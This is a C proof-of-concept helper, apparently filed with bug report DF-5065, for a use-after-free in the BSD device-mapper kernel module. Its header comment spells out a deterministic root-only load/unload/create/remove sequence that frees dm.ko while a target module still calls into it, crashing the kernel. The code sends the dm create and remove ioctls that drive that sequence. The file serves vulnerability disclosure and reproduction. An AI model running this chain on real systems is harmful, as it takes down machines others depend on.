DF-5065 / dmt_registry_uaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 | /* * DF-5065 PoC helper -- drive the NETBSD_DM_IOCTL "create"/"remove" control * commands on /dev/mapper/control. * * Used by run.sh for the deterministic chain: * * 1. kldload dm dm.ko: linker refs=1 (base), userrefs=1; * registry holds built-in "error"/"zero" * (DM_TARGET_BUILTIN, sys/dev/disk/dm/dm.h:269) * 2. create df5065dev dm_dev_counter: 0 -> 1 (dm_dev.c:193) * 3. kldunload dm dm_modcmd EBUSY (device-mapper.c:161) -> * MOD_UNLOAD veto -> kern_linker.c:518 * does file->refs-- with refs==1 => dm refs 1->0 * (base reference destroyed by a FAILED unload) * 4. remove df5065dev dm_dev_counter: 1 -> 0 (dm_dev.c:71) * 5. kldload dm_target_linear MDT_DEPEND: dm refs 0->1 -- still <= 1, so * the MODULE_DEPEND pin no longer defers * dm's unload (kern_linker.c:494 needs >1) * 6. kldunload dm refs==1 -> full unload attempt -> * dm_dev_counter==0 -> dmdestroy() -> * dm_target_uninit (dm_target.c:284-287) * FREES linear's registered dm_target_t and * lockuninit's the registry lock -> * dm.ko text/data freed * 7. kldunload dm_target_linear dmtl_mod_handler(MOD_UNLOAD) -> * dm_target_remove("linear") -- a call into * FREED dm.ko text -> Fatal trap 12 * * No race, no timing: seven sequential steps, 100% deterministic. * Privilege: root (kldload/kldunload + /dev/mapper/control 0640 root:operator). * * Build: cc -O -Wall -o /tmp/dmt_registry_uaf dmt_registry_uaf.c -lprop * Run: /tmp/dmt_registry_uaf create|remove <name> */ #include <sys/types.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <libprop/proplib.h> #include <dev/disk/dm/netbsd-dm.h> #define DM_CONTROL_DEV "/dev/mapper/control" static int send_ioctl(int fd, prop_dictionary_t dict) { return prop_dictionary_send_ioctl(dict, fd, NETBSD_DM_IOCTL); } static prop_dictionary_t new_dm_dict(const char *command) { prop_dictionary_t dict; prop_array_t ver; dict = prop_dictionary_create(); ver = prop_array_create(); prop_array_add_uint32(ver, 4); prop_array_add_uint32(ver, 0); prop_array_add_uint32(ver, 0); prop_dictionary_set(dict, DM_IOCTL_VERSION, ver); prop_object_release(ver); prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command); prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0); return dict; } static int dev_cmd(const char *command, const char *name) { prop_dictionary_t dict = new_dm_dict(command); int fd, rv; fd = open(DM_CONTROL_DEV, O_RDWR); if (fd < 0) { fprintf(stderr, "%s: open %s: %s\n", command, DM_CONTROL_DEV, strerror(errno)); prop_object_release(dict); return (1); } prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name); rv = send_ioctl(fd, dict); prop_object_release(dict); close(fd); printf("%s %s: %s (%d)\n", command, name, rv ? strerror(rv) : "ok", rv); return (rv != 0); } int main(int argc, char **argv) { if (argc != 3) { fprintf(stderr, "usage: %s create|remove <name>\n", argv[0]); return (2); } if (strcmp(argv[1], "create") != 0 && strcmp(argv[1], "remove") != 0) { fprintf(stderr, "bad command %s\n", argv[1]); return (2); } return (dev_cmd(argv[1], argv[2])); } |